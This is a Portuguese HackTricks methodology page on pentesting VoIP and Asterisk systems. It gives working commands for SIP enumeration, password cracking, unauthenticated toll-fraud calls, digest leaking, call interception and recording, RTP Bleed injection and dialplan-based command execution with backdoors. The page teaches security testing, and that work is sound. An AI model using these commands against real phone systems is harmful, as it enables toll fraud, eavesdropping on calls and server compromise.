mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-25 20:43:29 +00:00
507 lines
33 KiB
Markdown
507 lines
33 KiB
Markdown
## Pentesting VoIP
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Informações básicas sobre VoIP
|
|
|
|
Para começar a aprender sobre como VoIP funciona, verifique:
|
|
|
|
{% content-ref url="basic-voip-protocols/" %}
|
|
[protocolos básicos de VoIP](basic-voip-protocols/)
|
|
{% endcontent-ref %}
|
|
|
|
## Enumeração de VoIP
|
|
|
|
### Números de telefone
|
|
|
|
Um dos primeiros passos que uma equipe de Red Team pode fazer é procurar números de telefone disponíveis para entrar em contato com a empresa usando ferramentas OSINT, pesquisas no Google ou raspagem das páginas da web.
|
|
|
|
Depois de ter os números de telefone, você pode usar serviços online para identificar o operador:
|
|
|
|
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
|
|
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
|
|
* [https://www.whitepages.com/](https://www.whitepages.com/)
|
|
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
|
|
|
Saber se o operador fornece serviços VoIP pode identificar se a empresa está usando VoIP... Além disso, é possível que a empresa não tenha contratado serviços VoIP, mas esteja usando cartões PSTN para conectar sua própria PBX VoIP à rede telefônica tradicional.
|
|
|
|
Coisas como respostas automatizadas de música geralmente indicam que VoIP está sendo usado.
|
|
|
|
### Google Dorks
|
|
```bash
|
|
# Grandstream phones
|
|
intitle:"Grandstream Device Configuration" Password
|
|
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
|
|
|
|
# Cisco Callmanager
|
|
inurl:"ccmuser/logon.asp"
|
|
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
|
|
|
|
# Cisco phones
|
|
inurl:"NetworkConfiguration" cisco
|
|
|
|
# Linksys phones
|
|
intitle:"Sipura SPA Configuration"
|
|
|
|
# Snom phones
|
|
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
|
|
|
|
# Polycom SoundPoint IP & phones
|
|
intitle:"SoundPoint IP Configuration Utility - Registration"
|
|
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
|
|
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
|
|
intitle:"Polycom Login" inurl:"/login.html"
|
|
intitle:"Polycom Login" -.com
|
|
|
|
# Elastix
|
|
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
|
|
|
|
# FreePBX
|
|
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
|
|
```
|
|
### Informações de OSINT
|
|
|
|
Qualquer outra enumeração de OSINT que ajude a identificar o software VoIP sendo usado será útil para uma equipe de Red Team.
|
|
|
|
### Enumeração de Rede
|
|
|
|
* **`nmap`** é capaz de escanear serviços UDP, mas devido ao número de serviços UDP sendo escaneados, é muito lento e pode não ser muito preciso com esse tipo de serviços.
|
|
* **`svmap`** do SIPVicious (`sudo apt install sipvicious`): Localizará serviços SIP na rede indicada.
|
|
* `svmap` é **fácil de bloquear** porque usa o User-Agent `friendly-scanner`, mas você pode modificar o código de `/usr/share/sipvicious/sipvicious` e alterá-lo.
|
|
```bash
|
|
# Use --fp to fingerprint the services
|
|
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
|
```
|
|
* **`sipscan.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** O Sipscan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele usa multithread e pode escanear grandes faixas de redes. Ele permite indicar facilmente um intervalo de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais).
|
|
```bash
|
|
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
|
|
|
[!] IP/Network: 10.10.0.0/24
|
|
[!] Port range: 5060-5080
|
|
[!] Protocol: UDP, TCP, TLS
|
|
[!] Method to scan: REGISTER
|
|
[!] Customized User-Agent: Cisco
|
|
[!] Used threads: 200
|
|
|
|
```
|
|
* **metasploit**:
|
|
```
|
|
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
|
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
|
```
|
|
#### Enumeração de Rede Extra
|
|
|
|
O PBX também pode estar expondo outros serviços de rede, como:
|
|
|
|
* **69/UDP (TFTP)**: Atualizações de firmware
|
|
* **80 (HTTP) / 443 (HTTPS)**: Para gerenciar o dispositivo pela web
|
|
* **389 (LDAP)**: Alternativa para armazenar informações de usuários
|
|
* **3306 (MySQL)**: Banco de dados MySQL
|
|
* **5038 (Gerenciador)**: Permite usar o Asterisk de outras plataformas
|
|
* **5222 (XMPP)**: Mensagens usando Jabber
|
|
* **5432 (PostgreSQL)**: Banco de dados PostgreSQL
|
|
* E outros...
|
|
|
|
### Enumeração de Métodos
|
|
|
|
É possível encontrar **quais métodos estão disponíveis** para uso no PBX usando `sipenumerate.py` do [**sippts**](https://github.com/Pepelux/sippts)
|
|
```bash
|
|
python3 sipenumerate.py -i 10.10.0.10 -r 5080
|
|
```
|
|
### Enumeração de Extensões
|
|
|
|
As extensões em um sistema PBX (Private Branch Exchange) se referem aos **identificadores internos únicos atribuídos a linhas telefônicas, dispositivos ou usuários individuais** dentro de uma organização ou empresa. As extensões tornam possível **encaminhar chamadas dentro da organização de forma eficiente**, sem a necessidade de números de telefone externos individuais para cada usuário ou dispositivo.
|
|
|
|
* **`svwar`** do SIPVicious (`sudo apt install sipvicious`): `svwar` é um scanner de linha de extensão SIP PBX gratuito. Em conceito, ele funciona de forma semelhante aos wardialers tradicionais, **adivinhando uma faixa de extensões ou uma lista dada de extensões**.
|
|
```bash
|
|
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
|
```
|
|
* **`sipextend.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Sipexten identifica extensões em um servidor SIP. Sipexten pode verificar grandes redes e faixas de porta.
|
|
```bash
|
|
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
|
|
```
|
|
* **metasploit**: Você também pode enumerar extensões/nomes de usuário com o metasploit:
|
|
```
|
|
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
|
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
|
```
|
|
* **`enumiax` (`apt install enumiax`): enumIAX** é um enumerador de força bruta de nomes de usuário do protocolo Inter Asterisk Exchange. O enumIAX pode operar em dois modos distintos; Adivinhação Sequencial de Nomes de Usuário ou Ataque de Dicionário.
|
|
```bash
|
|
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
|
enumiax -v -m3 -M3 10.10.0.10
|
|
```
|
|
## Ataques VoIP
|
|
|
|
### Força Bruta de Senha
|
|
|
|
Tendo descoberto o **PBX** e alguns **nomes de usuário/ramais**, um Red Team pode tentar **autenticar via método `REGISTER`** em um ramal usando um dicionário de senhas comuns para forçar a autenticação.
|
|
|
|
{% hint style="danger" %}
|
|
Observe que um **nome de usuário** pode ser o mesmo que o ramal, mas essa prática pode variar dependendo do sistema PBX, sua configuração e as preferências da organização...
|
|
|
|
Se o nome de usuário não for o mesmo que o ramal, você precisará **descobrir o nome de usuário para forçá-lo**.
|
|
{% endhint %}
|
|
|
|
* **`svcrack`** do SIPVicious (`sudo apt install sipvicious`): SVCrack permite que você quebre a senha para um nome de usuário/ramal específico em um PBX.
|
|
```bash
|
|
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
|
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
|
```
|
|
* **`sipcrack.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crack é uma ferramenta para quebrar autenticações digest dentro do protocolo SIP.
|
|
```bash
|
|
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|
```
|
|
{% endcode %}
|
|
|
|
* **Metasploit**:
|
|
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
|
|
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
|
|
|
|
### Sniffing VoIP
|
|
|
|
Se você encontrar equipamentos VoIP dentro de uma **rede Wi-Fi aberta**, você pode **capturar todas as informações**. Além disso, se você estiver dentro de uma rede mais fechada (conectada via Ethernet ou Wi-Fi protegida), você pode realizar **ataques MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre o **PBX e o gateway** para capturar as informações.
|
|
|
|
Entre as informações de rede, você pode encontrar **credenciais web** para gerenciar o equipamento, **extensões de usuário**, **nome de usuário**, **endereços IP**, até mesmo **senhas criptografadas** e **pacotes RTP** que você pode reproduzir para **ouvir a conversa**, e muito mais.
|
|
|
|
Para obter essas informações, você pode usar ferramentas como Wireshark, tcpdump... mas uma **ferramenta especialmente criada para capturar conversas VoIP é** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
|
|
|
{% hint style="danger" %}
|
|
Observe que se **TLS for usado na comunicação SIP**, você não poderá ver a comunicação SIP claramente.\
|
|
O mesmo acontecerá se **SRTP** e **ZRTP** forem usados, **os pacotes RTP não estarão em texto claro**.
|
|
{% endhint %}
|
|
|
|
#### Credenciais SIP
|
|
|
|
[Confira este exemplo para entender melhor uma **comunicação SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) para aprender como as **credenciais são enviadas**.
|
|
|
|
* **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações de digest** dentro do protocolo SIP e **fazer força bruta** nelas.
|
|
```bash
|
|
sipdump -p net-capture.pcap sip-creds.txt
|
|
sipcrack sip-creds.txt -w dict.txt
|
|
```
|
|
* **`siptshar.py`, `sipdump.py`, `sipcrack.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:**
|
|
* **SipTshark** extrai dados do protocolo SIP de um arquivo PCAP.
|
|
* **SipDump** extrai autenticações SIP Digest de um arquivo PCAP.
|
|
* **SIP Digest Crack** é uma ferramenta para quebrar autenticações digest dentro do protocolo SIP.
|
|
```bash
|
|
python3 siptshark.py -f captura3.pcap [-filter auth]
|
|
python3 sipdump.py -f captura3.pcap -o data.txt
|
|
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
|
|
```
|
|
#### Códigos DTMF
|
|
|
|
Não apenas as credenciais SIP podem ser encontradas no tráfego de rede, também é possível encontrar códigos DTMF que são usados, por exemplo, para acessar a caixa postal.\
|
|
É possível enviar esses códigos em mensagens SIP INFO, em áudio ou dentro de pacotes RTP. Se os códigos estiverem dentro de pacotes RTP, você pode cortar essa parte da conversa e usar a ferramenta multimo para extraí-los:
|
|
```bash
|
|
multimon -a DTMF -t wac pin.wav
|
|
```
|
|
### Chamadas Gratuitas / Configurações Incorretas de Conexões do Asterisks
|
|
|
|
No Asterisk, é possível permitir uma conexão **de um endereço IP específico** ou de **qualquer endereço IP**:
|
|
```
|
|
host=10.10.10.10
|
|
host=dynamic
|
|
```
|
|
Se um endereço IP for especificado, o host **não precisará enviar solicitações REGISTER** de tempos em tempos (no pacote REGISTER é enviado o tempo de vida, geralmente 30 minutos, o que significa que em outro cenário o telefone precisará se REGISTRAR a cada 30 minutos). No entanto, será necessário ter portas abertas permitindo conexões do servidor VoIP para receber chamadas.
|
|
|
|
Para definir usuários, eles podem ser definidos como:
|
|
|
|
* **`type=user`**: O usuário só pode receber chamadas como usuário.
|
|
* **`type=friend`**: É possível realizar chamadas como peer e recebê-las como usuário (usado com extensões)
|
|
* **`type=peer`**: É possível enviar e receber chamadas como peer (SIP-trunks)
|
|
|
|
Também é possível estabelecer confiança com a variável insegura:
|
|
|
|
* **`insecure=port`**: Permite conexões peer validadas por IP.
|
|
* **`insecure=invite`**: Não requer autenticação para mensagens INVITE
|
|
* **`insecure=port,invite`**: Ambos
|
|
|
|
{% hint style="warning" %}
|
|
Quando **`type=friend`** é usado, o **valor** da variável **host** **não será usado**, então se um administrador **configurar incorretamente um SIP-trunk** usando esse valor, **qualquer pessoa poderá se conectar a ele**.
|
|
|
|
Por exemplo, essa configuração seria vulnerável:\
|
|
`host=10.10.10.10`\
|
|
`insecure=port,invite`\
|
|
`type=friend`
|
|
{% endhint %}
|
|
|
|
### Chamadas Gratuitas / Configurações Incorretas de Contexto do Asterisk
|
|
|
|
No Asterisk, um **contexto** é um contêiner ou seção nomeado no plano de discagem que **agrupa extensões, ações e regras relacionadas**. O plano de discagem é o componente principal de um sistema Asterisk, pois define **como as chamadas de entrada e saída são tratadas e roteadas**. Os contextos são usados para organizar o plano de discagem, gerenciar o controle de acesso e fornecer separação entre diferentes partes do sistema.
|
|
|
|
Cada contexto é definido no arquivo de configuração, geralmente no arquivo **`extensions.conf`**. Os contextos são indicados por colchetes, com o nome do contexto dentro deles. Por exemplo:
|
|
```bash
|
|
csharpCopy code[my_context]
|
|
```
|
|
Dentro do contexto, você define extensões (padrões de números discados) e as associa com uma série de ações ou aplicativos. Essas ações determinam como a chamada é processada. Por exemplo:
|
|
```scss
|
|
[my_context]
|
|
exten => 100,1,Answer()
|
|
exten => 100,n,Playback(welcome)
|
|
exten => 100,n,Hangup()
|
|
```
|
|
Este exemplo demonstra um contexto simples chamado "meu\_contexto" com uma extensão "100". Quando alguém disca 100, a chamada será atendida, uma mensagem de boas-vindas será reproduzida e, em seguida, a chamada será encerrada.
|
|
|
|
Este é **outro contexto** que permite **ligar para qualquer outro número**:
|
|
```scss
|
|
[external]
|
|
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
|
|
```
|
|
Se o administrador definir o **contexto padrão** como:
|
|
```
|
|
[default]
|
|
include => my_context
|
|
include => external
|
|
```
|
|
{% hint style="warning" %}
|
|
Qualquer pessoa poderá usar o **servidor para ligar para qualquer outro número** (e o administrador do servidor pagará pela chamada).
|
|
{% endhint %}
|
|
|
|
{% hint style="danger" %}
|
|
Além disso, por padrão, o arquivo **`sip.conf`** contém **`allowguest=true`**, então **qualquer** atacante **sem autenticação** poderá ligar para qualquer outro número.
|
|
{% endhint %}
|
|
|
|
* **`sipinvite.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Sipinvite verifica se um **servidor PBX nos permite fazer chamadas sem autenticação**. Se o servidor SIP tiver uma configuração incorreta, ele nos permitirá fazer chamadas para números externos. Também pode permitir que transfiramos a chamada para um segundo número externo.
|
|
|
|
Por exemplo, se o seu servidor Asterisk tiver uma má configuração de contexto, você poderá aceitar solicitações INVITE sem autorização. Nesse caso, um atacante pode fazer chamadas sem saber nenhum usuário/senha.
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Trying to make a call to the number 555555555 (without auth) with source number 200.
|
|
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
|
|
|
|
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
|
|
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
|
|
```
|
|
### Chamadas gratuitas / IVRS mal configurado
|
|
|
|
IVRS significa **Sistema de Resposta de Voz Interativa**, uma tecnologia de telefonia que permite aos usuários interagir com um sistema informatizado por meio de entradas de voz ou de teclas de toque. O IVRS é usado para construir sistemas de **manuseio de chamadas automatizadas** que oferecem uma variedade de funcionalidades, como fornecer informações, encaminhar chamadas e capturar a entrada do usuário.
|
|
|
|
O IVRS em sistemas VoIP geralmente consiste em:
|
|
|
|
1. **Prompts de voz**: mensagens de áudio pré-gravadas que guiam os usuários pelas opções e instruções do menu IVR.
|
|
2. **Sinalização DTMF** (Dual-Tone Multi-Frequency): entradas de teclas de toque geradas ao pressionar teclas no telefone, que são usadas para navegar pelos menus IVR e fornecer entrada.
|
|
3. **Encaminhamento de chamadas**: direcionando chamadas para o destino apropriado, como departamentos específicos, agentes ou extensões com base na entrada do usuário.
|
|
4. **Captura de entrada do usuário**: coletando informações dos chamadores, como números de conta, IDs de caso ou qualquer outro dado relevante.
|
|
5. **Integração com sistemas externos**: conectando o sistema IVR a bancos de dados ou outros sistemas de software para acessar ou atualizar informações, realizar ações ou disparar eventos.
|
|
|
|
Em um sistema VoIP Asterisk, você pode criar um IVR usando o plano de discagem (arquivo **`extensions.conf`**) e vários aplicativos, como `Background()`, `Playback()`, `Read()`, e mais. Esses aplicativos ajudam a reproduzir prompts de voz, capturar a entrada do usuário e controlar o fluxo de chamadas.
|
|
|
|
#### Exemplo de configuração vulnerável
|
|
```scss
|
|
exten => 0,100,Read(numbers,the_call,,,,5)
|
|
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
|
|
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
|
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
|
exten => 0,104,Dial(LOCAL/${numbers})
|
|
```
|
|
O exemplo anterior mostra um caso em que o usuário é solicitado a **pressionar 1 para ligar** para um departamento, **2 para ligar** para outro, ou **a extensão completa** se ele a conhecer. A vulnerabilidade é o fato de que o **comprimento da extensão indicada não é verificado, então um usuário poderia inserir um número completo durante o tempo limite de 5 segundos e ele seria chamado.**
|
|
|
|
### Injeção de Extensão
|
|
|
|
Usando uma extensão como:
|
|
```scss
|
|
exten => _X.,1,Dial(SIP/${EXTEN})
|
|
```
|
|
Onde **`${EXTEN}`** é a **extensão** que será chamada, quando a **extensão 101 é introduzida** é o que aconteceria:
|
|
```scss
|
|
exten => 101,1,Dial(SIP/101)
|
|
```
|
|
No entanto, se **`${EXTEN}`** permitir a introdução de **mais do que números** (como em versões mais antigas do Asterisk), um atacante poderia introduzir **`101&SIP123123123`** para chamar o número de telefone 123123123. E este seria o resultado:
|
|
```scss
|
|
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
|
```
|
|
Portanto, uma chamada para a extensão **`101`** e **`123123123`** será enviada e apenas a primeira que receber a chamada será estabelecida... mas se um atacante usar uma **extensão que ignore qualquer correspondência** que esteja sendo realizada, mas que não exista, ele poderá **injetar uma chamada apenas para o número desejado**.
|
|
|
|
## SIPDigestLeak
|
|
|
|
O SIP Digest Leak é uma vulnerabilidade que afeta um grande número de telefones SIP, incluindo telefones IP de hardware e software, bem como adaptadores de telefone (VoIP para analógico). A vulnerabilidade permite a **vazão da resposta de autenticação Digest**, que é calculada a partir da senha. Um **ataque de senha offline é possível** e pode recuperar a maioria das senhas com base na resposta do desafio.
|
|
|
|
Cenário de vulnerabilidade (para [**mais informações, verifique isso**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)):
|
|
|
|
1. Um telefone IP (vítima) está ouvindo na porta 5060, aceitando chamadas telefônicas
|
|
2. O atacante envia um INVITE para o telefone IP
|
|
3. O telefone da vítima começa a tocar e alguém atende e desliga (porque ninguém responde o telefone do outro lado)
|
|
4. Quando o telefone é desligado, o **telefone da vítima envia um BYE para o atacante**
|
|
5. O **atacante emite uma resposta 407** que **solicita autenticação** e emite um desafio de autenticação
|
|
6. O **telefone da vítima fornece uma resposta ao desafio de autenticação** em um segundo BYE
|
|
7. O **atacante pode então emitir um ataque de força bruta** na resposta do desafio em sua máquina local (ou rede distribuída etc.) e adivinhar a senha
|
|
|
|
* **sipdigestleak.py** de [**sippts**](https://github.com/Pepelux/sippts)**:** SipDigestLeak explora essa vulnerabilidade.
|
|
```bash
|
|
python3 sipdigestleak.py -i 10.10.0.10
|
|
|
|
[!] Target: 10.10.0.10:5060/UDP
|
|
[!] Caller: 100
|
|
[!] Callee: 100
|
|
|
|
[=>] Request INVITE
|
|
[<=] Response 100 Trying
|
|
[<=] Response 180 Ringing
|
|
[<=] Response 200 OK
|
|
[=>] Request ACK
|
|
... waiting for BYE ...
|
|
[<=] Received BYE
|
|
[=>] Request 407 Proxy Authentication Required
|
|
[<=] Received BYE with digest
|
|
[=>] Request 200 Ok
|
|
|
|
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
|
|
```
|
|
### Click2Call
|
|
|
|
O Click2Call permite que um **usuário da web** (que por exemplo pode estar interessado em um produto) **introduza** seu **número de telefone** para receber uma chamada. Em seguida, um comercial será chamado e, quando ele **atender o telefone**, o usuário será **chamado e conectado com o agente**.
|
|
|
|
Um perfil comum do Asterisk para isso é:
|
|
```scss
|
|
[web_user]
|
|
secret = complex_password
|
|
deny = 0.0.0.0/0.0.0.0
|
|
allow = 0.0.0.0/0.0.0.0
|
|
displayconnects = yes
|
|
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|
write = system,call,agent,user,config,command,reporting,originate
|
|
```
|
|
* O perfil anterior está permitindo **QUALQUER ENDEREÇO IP se conectar** (se a senha for conhecida).
|
|
* Para **organizar uma chamada**, como especificado anteriormente, **nenhuma permissão de leitura é necessária** e **apenas** a permissão de **origem** em **escrita** é necessária.
|
|
|
|
Com essas permissões, qualquer endereço IP que conheça a senha pode se conectar e extrair muitas informações, como:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Get all the peers
|
|
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
|
|
```
|
|
{% endcode %}
|
|
|
|
### **Interceptação**
|
|
|
|
No Asterisk, é possível usar o comando **`ChanSpy`** indicando a **extensão(ões) a serem monitoradas** (ou todas) para ouvir conversas que estão acontecendo. Este comando precisa ser atribuído a uma extensão.
|
|
|
|
Por exemplo, **`exten => 333,1,ChanSpy('all',qb)`** indica que se você **ligar** para a **extensão 333**, ela irá **monitorar** **`todas`** as extensões, **começar a ouvir** sempre que uma nova conversa começar (**`b`**) em modo silencioso (**`q`**) pois não queremos interagir nela. Você pode ir de uma conversa para outra pressionando **`*`**, ou marcando o número da extensão.
|
|
|
|
Também é possível usar o **`ExtenSpy`** para monitorar apenas uma extensão.
|
|
|
|
Em vez de ouvir as conversas, é possível **gravá-las em arquivos** usando uma extensão como:
|
|
|
|
{% code overflow="wrap" %}
|
|
```scss
|
|
[recorded-context]
|
|
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
|
|
exten => _X.,2,MixMonitor(${NAME})
|
|
```
|
|
{% endcode %}
|
|
|
|
As chamadas serão salvas em **`/tmp`**.
|
|
|
|
Você também pode fazer com que o Asterisk **execute um script que vazará a chamada** quando ela for encerrada.
|
|
```scss
|
|
exten => h,1,System(/tmp/leak_conv.sh &)
|
|
```
|
|
### RTCPBleed
|
|
|
|
**RTCPBleed** é um grande problema de segurança que afeta servidores VoIP baseados em Asterisk (publicado em 2017). A vulnerabilidade permite que o tráfego **RTP (Real Time Protocol)**, que carrega conversas VoIP, seja **interceptado e redirecionado por qualquer pessoa na Internet**. Isso ocorre porque o tráfego RTP contorna a autenticação ao navegar pelos firewalls NAT (Network Address Translation).
|
|
|
|
Os proxies RTP tentam abordar as **limitações do NAT** que afetam os sistemas RTC, fazendo a mediação dos fluxos RTP entre duas ou mais partes. Quando o NAT está em vigor, o software do proxy RTP muitas vezes não pode confiar nas informações de IP e porta RTP recuperadas por meio de sinalização (por exemplo, SIP). Portanto, vários proxies RTP implementaram um mecanismo em que tal **tupla de IP e porta é aprendida automaticamente**. Isso é frequentemente feito inspecionando o tráfego RTP de entrada e marcando o IP e a porta de origem para qualquer tráfego RTP de entrada como aquele que deve ser respondido. Esse mecanismo, que pode ser chamado de "modo de aprendizado", **não usa nenhum tipo de autenticação**. Portanto, **atacantes** podem **enviar tráfego RTP para o proxy RTP** e receber o tráfego RTP intermediado destinado ao chamador ou receptor de um fluxo RTP em andamento. Chamamos essa vulnerabilidade de RTP Bleed porque permite que os atacantes recebam fluxos de mídia RTP destinados a usuários legítimos.
|
|
|
|
Outro comportamento interessante dos proxies RTP e das pilhas RTP é que, às vezes, **mesmo que não sejam vulneráveis ao RTP Bleed**, eles **aceitarão, encaminharão e/ou processarão pacotes RTP de qualquer fonte**. Portanto, os atacantes podem enviar pacotes RTP que podem permitir que eles injetem sua mídia em vez da legítima. Chamamos esse ataque de injeção RTP porque permite a injeção de pacotes RTP ilegítimos em fluxos RTP existentes. Essa vulnerabilidade pode ser encontrada em proxies e endpoints RTP.
|
|
|
|
O Asterisk e o FreePBX tradicionalmente usam a configuração **`NAT=yes`**, que permite que o tráfego RTP contorne a autenticação, o que pode levar a nenhum áudio ou áudio unidirecional em chamadas.
|
|
|
|
Para mais informações, consulte [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
|
|
|
* **`rtpbleed.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Detecta a vulnerabilidade RTP Bleed enviando fluxos RTP.
|
|
```bash
|
|
python3 rtpbleed.py -i 10.10.0.10
|
|
```
|
|
* **`rtcpbleed.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Ele detecta a vulnerabilidade RTP Bleed enviando fluxos RTP.
|
|
```bash
|
|
python3 rtcpbleed.py -i 10.10.0.10
|
|
```
|
|
* **`rtpbleedflood.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Explora a vulnerabilidade RTP Bleed enviando fluxos RTP.
|
|
```bash
|
|
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
|
|
```
|
|
* **`rtpbleedinject.py`** do [**sippts**](https://github.com/Pepelux/sippts)**:** Explora a vulnerabilidade RTP Bleed enviando fluxos RTP (de um arquivo de áudio)
|
|
```bash
|
|
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
|
|
```
|
|
### RCE
|
|
|
|
No Asterisk, se você de alguma forma conseguir **adicionar regras de extensão e recarregá-las** (por exemplo, comprometendo um servidor de gerenciamento web vulnerável), é possível obter RCE usando o comando **`System`**.
|
|
```scss
|
|
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|
```
|
|
Existe um comando chamado **`Shell`** que pode ser usado **em vez de `System`** para executar comandos do sistema, se necessário.
|
|
|
|
{% hint style="warning" %}
|
|
Se o servidor estiver **impedindo o uso de certos caracteres** no comando **`System`** (como no Elastix), verifique se o servidor da web permite **criar arquivos de alguma forma dentro do sistema** (como no Elastix ou trixbox) e use-o para **criar um script de backdoor** e, em seguida, use **`System`** para **executar** esse **script**.
|
|
{% endhint %}
|
|
|
|
#### Arquivos locais interessantes e permissões
|
|
|
|
* **`sip.conf`** -> Contém a senha dos usuários SIP.
|
|
* Se o **servidor Asterisk estiver sendo executado como root**, você pode comprometer o root.
|
|
* O usuário root do **mysql** pode **não ter senha**.
|
|
* isso pode ser usado para criar um novo usuário mysql como backdoor.
|
|
* **`FreePBX`**
|
|
* **`amportal.conf`** -> Contém a senha do administrador do painel da web (FreePBX).
|
|
* **`FreePBX.conf`** -> Contém a senha do usuário FreePBXuser usado para acessar o banco de dados.
|
|
* isso pode ser usado para criar um novo usuário mysql como backdoor.
|
|
* **`Elastix`**
|
|
* **`Elastix.conf`** -> Contém várias senhas em texto claro, como a senha do root do mysql, a senha do IMAPd e a senha do administrador da web.
|
|
* **Várias pastas** pertencerão ao usuário Asterisk comprometido (se não estiver sendo executado como root). Esse usuário pode ler os arquivos anteriores e também controla a configuração, então ele pode fazer o Asterisk carregar outros binários backdoor quando executado.
|
|
|
|
### Injeção de RTP
|
|
|
|
É possível inserir um **`.wav`** em conversas usando ferramentas como **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) e **`rtpmixsound`** (`sudo apt install rtpmixsound`).
|
|
|
|
